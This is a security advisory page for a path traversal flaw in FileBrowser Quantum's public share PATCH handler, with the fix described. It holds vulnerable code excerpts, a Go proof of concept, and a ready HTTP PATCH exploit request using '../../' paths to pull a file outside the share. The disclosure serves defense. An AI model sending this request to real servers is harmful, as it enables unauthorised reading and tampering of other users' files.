GHSA-QQQM-5547-774X

Vulnerability from github – Published: 2026-05-22 17:26 – Updated: 2026-05-22 17:26
VLAI
Summary
FileBrowser Quantum: Path traversal in public share PATCH allows file ops outside shared directory
Details

Summary

publicPatchHandler in backend/http/public.go joins user-controlled fromPath and toPath body fields with the trusted d.share.Path BEFORE the downstream sanitizer runs. Because filepath.Join collapses .. segments during the join, the sanitizer in resourcePatchHandler never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated.

A public share link with AllowModify=true is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root.

Verified on commit 869b640 (HEAD of main as of 2026-05-07).

Details

In backend/http/public.go the public PATCH handler accepts a JSON body with items[].fromPath and items[].toPath from the client, then prepends the share path before delegating to resourcePatchHandler:

// backend/http/public.go (publicPatchHandler)
for i := range req.Items {
    req.Items[i].FromSource = sourceName
    req.Items[i].FromPath   = utils.JoinPathAsUnix(d.share.Path, req.Items[i].FromPath) // line 372
    req.Items[i].ToSource   = sourceName
    req.Items[i].ToPath     = utils.JoinPathAsUnix(d.share.Path, req.Items[i].ToPath)   // line 374
}
d.Data = req
status, err := resourcePatchHandler(w, r, d)

utils.JoinPathAsUnix is a thin wrapper around filepath.Join, which calls filepath.Clean and resolves .. segments. By the time the joined path reaches resourcePatchHandler, every .. from the body has been collapsed:

// backend/http/resource.go (resourcePatchHandler)
cleanFromPath, err := utils.SanitizeUserPath(item.FromPath) // line 794
// ...
cleanToPath, err  := utils.SanitizeUserPath(item.ToPath)    // line 800

SanitizeUserPath (in backend/common/utils/file.go) checks for .. segments after filepath.Clean. Since the join already cleaned the path, no .. segment remains, the sanitizer returns success, and the move/copy/rename proceeds on the escaped target.

The share owner's user is substituted as the acting user for permission checks (d.user = shareCreatedByUser), so the access-control layer treats the request as if the share owner performed it. In a default configuration with no explicit access rules and DenyByDefault=false, Access.Permitted returns true for any path within the source, and the only remaining boundary is the source root itself (idx.Path in Index.GetRealPath).

The fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in resourceBulkDeleteHandler (backend/http/resource.go:274) and in withHashFileHelper (backend/http/middleware.go:57). The PATCH variant in public.go follows the opposite order (join first, sanitize later) and was not updated.

For comparison, the same file's publicPutHandler uses the safe order:

// backend/http/public.go (publicPutHandler) -- safe order
cleanPath, err := utils.SanitizeUserPath(path)         // sanitize FIRST
if err != nil { return http.StatusBadRequest, err }
resolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join

PoC

The bug reproduces deterministically with the project's own helpers, without needing the full server. The Go program below uses verbatim copies of SanitizeUserPath (from backend/common/utils/file.go) and JoinPathAsUnix (from backend/common/utils/main.go) and replays the exact sequence executed for one item in publicPatchHandler followed by resourcePatchHandler.

package main

import (
    "fmt"
    "path/filepath"
    "runtime"
    "strings"
)

// Verbatim from backend/common/utils/file.go
func SanitizeUserPath(userPath string) (string, error) {
    clean := filepath.Clean(userPath)
    for _, segment := range strings.Split(clean, string(filepath.Separator)) {
        if segment == ".." {
            return "", fmt.Errorf("invalid path: path traversal detected")
        }
    }
    if clean == "." {
        return "", fmt.Errorf("invalid path: path must standard index path")
    }
    return clean, nil
}

// Verbatim from backend/common/utils/main.go
func JoinPathAsUnix(parts ...string) string {
    p := filepath.Join(parts...)
    if runtime.GOOS == "windows" {
        p = strings.ReplaceAll(p, "\\", "/")
    }
    return p
}

func main() {
    sharePath := "/users/alice/shared/" // d.share.Path (server-controlled)
    attackerInput := "../../bob/secret.txt"

    // publicPatchHandler line 372: join BEFORE sanitize
    joined := JoinPathAsUnix(sharePath, attackerInput)

    // resourcePatchHandler line 794: sanitize the already-joined path
    sanitized, err := SanitizeUserPath(joined)

    fmt.Printf("attacker input: %q\n", attackerInput)
    fmt.Printf("after join:     %q\n", joined)
    fmt.Printf("sanitizer err:  %v\n", err)
    fmt.Printf("sanitized path: %q\n", sanitized)
}

Output:

attacker input: "../../bob/secret.txt"
after join:     "/users/bob/secret.txt"
sanitizer err:  <nil>
sanitized path: "/users/bob/secret.txt"

The path /users/bob/secret.txt is outside the share root /users/alice/shared/ and is the value passed to Index.GetRealPath which resolves to <source-root>/users/bob/secret.txt. The downstream move/copy/rename then targets that file. The same input is rejected by SanitizeUserPath if the order is reversed (sanitize-then-join), which is the order used by publicPutHandler and the post-fix bulk DELETE.

End-to-end exploit request shape:

PATCH /public/api/resources?hash=<share-hash> HTTP/1.1
Content-Type: application/json

{
  "action": "rename",
  "items": [
    {
      "fromSource": "default",
      "fromPath":   "../../bob/secret.txt",
      "toSource":   "default",
      "toPath":     "stolen.txt"
    }
  ]
}

After the request, stolen.txt exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share's intended scope.

Impact

An unauthenticated attacker who possesses a public share link with AllowModify=true can move, copy, or rename any file inside the share owner's source root, escaping the share's intended directory. Two practical exploitation patterns:

  1. Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read.

  2. Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them).

Scope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in publicPatchHandler to call SanitizeUserPath on req.Items[i].FromPath and req.Items[i].ToPath before the two JoinPathAsUnix(d.share.Path, ...) calls.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gtsteffaniak/filebrowser/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260518193514-28e9b81e438e"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-22T17:26:25Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`publicPatchHandler` in `backend/http/public.go` joins user-controlled `fromPath` and `toPath` body fields with the trusted `d.share.Path` BEFORE the downstream sanitizer runs. Because `filepath.Join` collapses `..` segments during the join, the sanitizer in `resourcePatchHandler` never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated.\n\nA public share link with `AllowModify=true` is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner\u0027s source root.\n\nVerified on commit 869b640 (HEAD of `main` as of 2026-05-07).\n\n## Details\n\nIn `backend/http/public.go` the public PATCH handler accepts a JSON body with `items[].fromPath` and `items[].toPath` from the client, then prepends the share path before delegating to `resourcePatchHandler`:\n\n```go\n// backend/http/public.go (publicPatchHandler)\nfor i := range req.Items {\n    req.Items[i].FromSource = sourceName\n    req.Items[i].FromPath   = utils.JoinPathAsUnix(d.share.Path, req.Items[i].FromPath) // line 372\n    req.Items[i].ToSource   = sourceName\n    req.Items[i].ToPath     = utils.JoinPathAsUnix(d.share.Path, req.Items[i].ToPath)   // line 374\n}\nd.Data = req\nstatus, err := resourcePatchHandler(w, r, d)\n```\n\n`utils.JoinPathAsUnix` is a thin wrapper around `filepath.Join`, which\ncalls `filepath.Clean` and resolves `..` segments. By the time the\njoined path reaches `resourcePatchHandler`, every `..` from the body\nhas been collapsed:\n\n```go\n// backend/http/resource.go (resourcePatchHandler)\ncleanFromPath, err := utils.SanitizeUserPath(item.FromPath) // line 794\n// ...\ncleanToPath, err  := utils.SanitizeUserPath(item.ToPath)    // line 800\n```\n\n`SanitizeUserPath` (in `backend/common/utils/file.go`) checks for `..` segments after `filepath.Clean`. Since the join already cleaned the path, no `..` segment remains, the sanitizer returns success, and the move/copy/rename proceeds on the escaped target.\n\nThe share owner\u0027s user is substituted as the acting user for permission checks (`d.user = shareCreatedByUser`), so the access-control layer treats the request as if the share owner performed it. In a default configuration with no explicit access rules and `DenyByDefault=false`, `Access.Permitted` returns true for any path within the source, and the only remaining boundary is the source root itself (`idx.Path` in `Index.GetRealPath`).\n\nThe fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in `resourceBulkDeleteHandler` (`backend/http/resource.go:274`) and in `withHashFileHelper` (`backend/http/middleware.go:57`). The PATCH variant in `public.go` follows the opposite order (join first, sanitize later) and was not updated.\n\nFor comparison, the same file\u0027s `publicPutHandler` uses the safe order:\n\n```go\n// backend/http/public.go (publicPutHandler) -- safe order\ncleanPath, err := utils.SanitizeUserPath(path)         // sanitize FIRST\nif err != nil { return http.StatusBadRequest, err }\nresolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join\n```\n\n## PoC\n\nThe bug reproduces deterministically with the project\u0027s own helpers, without needing the full server. The Go program below uses verbatim copies of `SanitizeUserPath` (from `backend/common/utils/file.go`) and `JoinPathAsUnix` (from `backend/common/utils/main.go`) and replays the exact sequence executed for one item in `publicPatchHandler` followed by `resourcePatchHandler`.\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"path/filepath\"\n    \"runtime\"\n    \"strings\"\n)\n\n// Verbatim from backend/common/utils/file.go\nfunc SanitizeUserPath(userPath string) (string, error) {\n    clean := filepath.Clean(userPath)\n    for _, segment := range strings.Split(clean, string(filepath.Separator)) {\n        if segment == \"..\" {\n            return \"\", fmt.Errorf(\"invalid path: path traversal detected\")\n        }\n    }\n    if clean == \".\" {\n        return \"\", fmt.Errorf(\"invalid path: path must standard index path\")\n    }\n    return clean, nil\n}\n\n// Verbatim from backend/common/utils/main.go\nfunc JoinPathAsUnix(parts ...string) string {\n    p := filepath.Join(parts...)\n    if runtime.GOOS == \"windows\" {\n        p = strings.ReplaceAll(p, \"\\\\\", \"/\")\n    }\n    return p\n}\n\nfunc main() {\n    sharePath := \"/users/alice/shared/\" // d.share.Path (server-controlled)\n    attackerInput := \"../../bob/secret.txt\"\n\n    // publicPatchHandler line 372: join BEFORE sanitize\n    joined := JoinPathAsUnix(sharePath, attackerInput)\n\n    // resourcePatchHandler line 794: sanitize the already-joined path\n    sanitized, err := SanitizeUserPath(joined)\n\n    fmt.Printf(\"attacker input: %q\\n\", attackerInput)\n    fmt.Printf(\"after join:     %q\\n\", joined)\n    fmt.Printf(\"sanitizer err:  %v\\n\", err)\n    fmt.Printf(\"sanitized path: %q\\n\", sanitized)\n}\n```\n\nOutput:\n\n```\nattacker input: \"../../bob/secret.txt\"\nafter join:     \"/users/bob/secret.txt\"\nsanitizer err:  \u003cnil\u003e\nsanitized path: \"/users/bob/secret.txt\"\n```\n\nThe path `/users/bob/secret.txt` is outside the share root `/users/alice/shared/` and is the value passed to `Index.GetRealPath` which resolves to `\u003csource-root\u003e/users/bob/secret.txt`. The downstream move/copy/rename then targets that file. The same input is rejected by `SanitizeUserPath` if the order is reversed (sanitize-then-join), which is the order used by `publicPutHandler` and the post-fix bulk DELETE.\n\nEnd-to-end exploit request shape:\n\n```\nPATCH /public/api/resources?hash=\u003cshare-hash\u003e HTTP/1.1\nContent-Type: application/json\n\n{\n  \"action\": \"rename\",\n  \"items\": [\n    {\n      \"fromSource\": \"default\",\n      \"fromPath\":   \"../../bob/secret.txt\",\n      \"toSource\":   \"default\",\n      \"toPath\":     \"stolen.txt\"\n    }\n  ]\n}\n```\n\nAfter the request, `stolen.txt` exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share\u0027s intended scope.\n\n## Impact\n\nAn unauthenticated attacker who possesses a public share link with `AllowModify=true` can move, copy, or rename any file inside the share owner\u0027s source root, escaping the share\u0027s intended directory. Two practical exploitation patterns:\n\n1. Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read.\n\n2. Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them).\n\nScope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in `publicPatchHandler` to call `SanitizeUserPath` on `req.Items[i].FromPath` and `req.Items[i].ToPath` before the two `JoinPathAsUnix(d.share.Path, ...)` calls.",
  "id": "GHSA-qqqm-5547-774x",
  "modified": "2026-05-22T17:26:25Z",
  "published": "2026-05-22T17:26:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-qqqm-5547-774x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gtsteffaniak/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FileBrowser Quantum: Path traversal in public share PATCH allows file ops outside shared directory"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…